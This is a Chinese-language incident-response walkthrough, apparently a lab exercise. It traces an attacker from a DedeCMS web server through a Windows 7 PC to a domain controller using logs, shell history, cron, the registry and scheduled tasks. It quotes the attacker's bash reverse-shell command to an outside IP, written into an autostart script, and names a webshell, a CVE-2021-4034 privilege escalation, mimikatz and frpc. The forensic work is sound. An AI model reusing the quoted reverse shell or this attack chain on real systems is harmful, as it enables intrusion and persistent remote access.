目录
介绍
GoAccess 是一款用于Apache或者Nginx的命令行日志分析器和交互式查看器。它可以通过分析网站服务器日志来进一步挖掘数据,排查入侵痕迹。它在一个终端窗口实时输出并且可以在web端输出可视化的显示信息。
相关事件ID:
4624:成功登录
4625:登录失败
4768:Kerberos身份验证(TGT请求)
4769:Kerberos服务票证(ST请求)
4776:NTLM身份验证
4672:分配特殊权限
步骤
针对仅对公网开放的服务器,即Web服务器先进行操作。
已知Linux服务器开启了宝塔面板和一个网站的服务
打开kali操作机针对/etc/hosts文件进行修改,添加Web服务器ip testdede.com的ip映射
访问网址可以发现服务的版本是dedecms,通过网站图标即可得知
在Web服务器中查看/etc/init.d/bt的默认面板入口,输入/etc/init.d/bt default
如果登陆时账号或密码错误,利用/etc/init.d/bt更改密码
利用账户名和密码登陆后台页面,依次点击安全和Web日志,打开网站的日志目录,查看网站的日志信息
针对目录下的testdede.com-error_log文件,查看登陆错误的日志信息,并未发现有用信息,在f访问testdede.com-access_log日志时,过于凌乱。
利用scp命令将testdede.com-access_log
文件下载到kali本地,scp root@ip:目录/文件 本地目录/
可以使用GoAccess对日志信息进行归总和图形化显示。
利用kali中安装的goaccess,使用命令goaccess 日志文件 --log-format=COMBINED -a > test.html
导出可视化的页面文件
针对日志进行分析,可以看到在外部请求的文件中,tunnel.php
和config.cache.inc.php
请求量比较高,tunnel.php
初步判断为这个内网穿透的reGeorg代理
请求量最多的ip是192.168.11.147,可能是大量的端口或者目录扫描,疑似攻击者的IP
使用宝塔面板或ssh连接至Web服务器均可查看以下tunnel.php
和config.cache.inc.php
的内容是什么,可以看到tunnel.php
确实为reGeorg生成的内网穿透文件,config.cache.inc.php
里面有eval
关键字的webshell
判断web服务器的流量被代理到域内pc机
可能是通过弱口令登陆后台→后台写webshell
推断攻击者可能进行下一步攻击,进一步利用,需要提权和权限维持,再进行横向内网渗透,针对后续命令,可以用ssh连接到目标服务器
对服务器的一些特殊目录进行筛查,tmp目录下存在cve-2021-4034.py
的文件,这个脚本通常被用来提权到root
通过ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%cpu | head -n 5
和ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%mem | head -n 5
,避免服务器被攻击者非法利用于挖矿,可以看到CPU和内存均正常且无可疑进程,根据结果判断并未用于挖矿
使用history
命令可以查看历史命令,可以看到echo "bash -i >& /dev/tcp/110.42.229.77/6666 0>&1" > /etc/rc.d/init.d/haha.sh && chmod 777 /etc/rc.d/init.d/haha.sh
这个反弹shell命令,同时讲反弹shell的操作写入脚本存入了自启动文件夹,110.42.229.77
可能是攻击者的vps
同时,攻击者将反弹shell的命令脚本存入了定时任务
可以看到攻击者使用kali生成了密钥对,将密钥写入了服务器中,达成了使用攻击者kali登陆服务器无需密码的情况,实现了权限维持
可以看到后续历史命令中,攻击者使用了cve-2021-4034.py
脚本进行了提权,添加了hack
用户
通过对/etc/passwd
的查看,发现了hack
用户为最高权限0
根据历史命令中攻击者反弹shell写入自启动后,可以查看/etc/rc.d/init.d
的自启动文件夹
针对Linux计划任务crontab,每10分钟执行一次反弹shell的操作,ip和之前分析的攻击者ip一致
攻击者在这个服务器的操作基本已经被基本掌握
切换操作机至PC办公机,Windows7
运行输入compmgnt.msc
打开计算机管理,查看本地用户和组
可以看到有隐藏用户hack$
,检查每个账户的属性,发现test
用户隶属于Remote Desktop Users
,推测攻击者可能通过test
用户登陆域成员Win7
针对与域成员Win7,攻击者依旧可能存在权限维持手段,使用命令reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 导出目录\文件名.reg
将开机自启注册表导出,或运行输入regedit
打开注册表编辑器
同时在PC办公机2长时间运行过程中,可以看到hack.exe已停止工作
的弹窗
针对注册表显示路径,进入目录查看
目录中有mimikatz
,这个工具可以被攻击者用来内网渗透,常用于提取用户hash,提供简单hash的爆破功能。frpc
是一个反向代理工具,可以用受害机器反向连接至公网攻击者vpn攻击机,用于配置隧道代理方便攻击者直接传输攻击流量至PC办公机2攻击域控制器。
查看frpc的配置文件,可以看到依旧是攻击者的vpsip,也发现了攻击者的ID
针对系统环境变量进行检查,使用命令set > 文件
,可以导出环境变量,进行查看,攻击者将攻击目录添加至Path
,攻击者在dos内任意目录直接输入程序名就可以执行程序
排查自启服务,没有查看到可以项目
排查计划任务,dos内依次输入命令chcp 437,schtasks /query /fo LIST /v > 路径\文件
导出计划任务
可以看到计划任务中有之前发现的hack.exe
文件
针对防火墙进行检查,之前frpc可能会开启异常的服务端口,使用命令netsh firewall show state > 目录\文件
进行检查
防火墙开启了7000端口,与之前frpc配置文件的内容相对应。
打开火绒剑工具,在启动项栏目中还可以看到test1的注册表启动项
可以看到依旧是hack.exe
切换到域控制器WindowsServer,运行里输入services.msc
查看服务项,可以看到一个PSEXEC
的服务,根据对Win7的域机器的排查,可以判断攻击者利用PSEXEC这个工具进行了内网的横向渗透
同时在C盘根目录可以看到hack.exe
,推断攻击者已经获取了域控的最高权限
在事件查看器
中可以看到源工作站为kali
的日志条目,登录账户是test
推测可能Win7机器的test
账户被黑客利用与攻击域控
溯源的攻击者路径为:
默认密码登陆dedecms后台
配置文件写webshell
CVE提权后权限维持
neo-regrorg正向代理
权限维持和反向代理
抓取哈希值进行哈希传递
掌握dc域控最高权限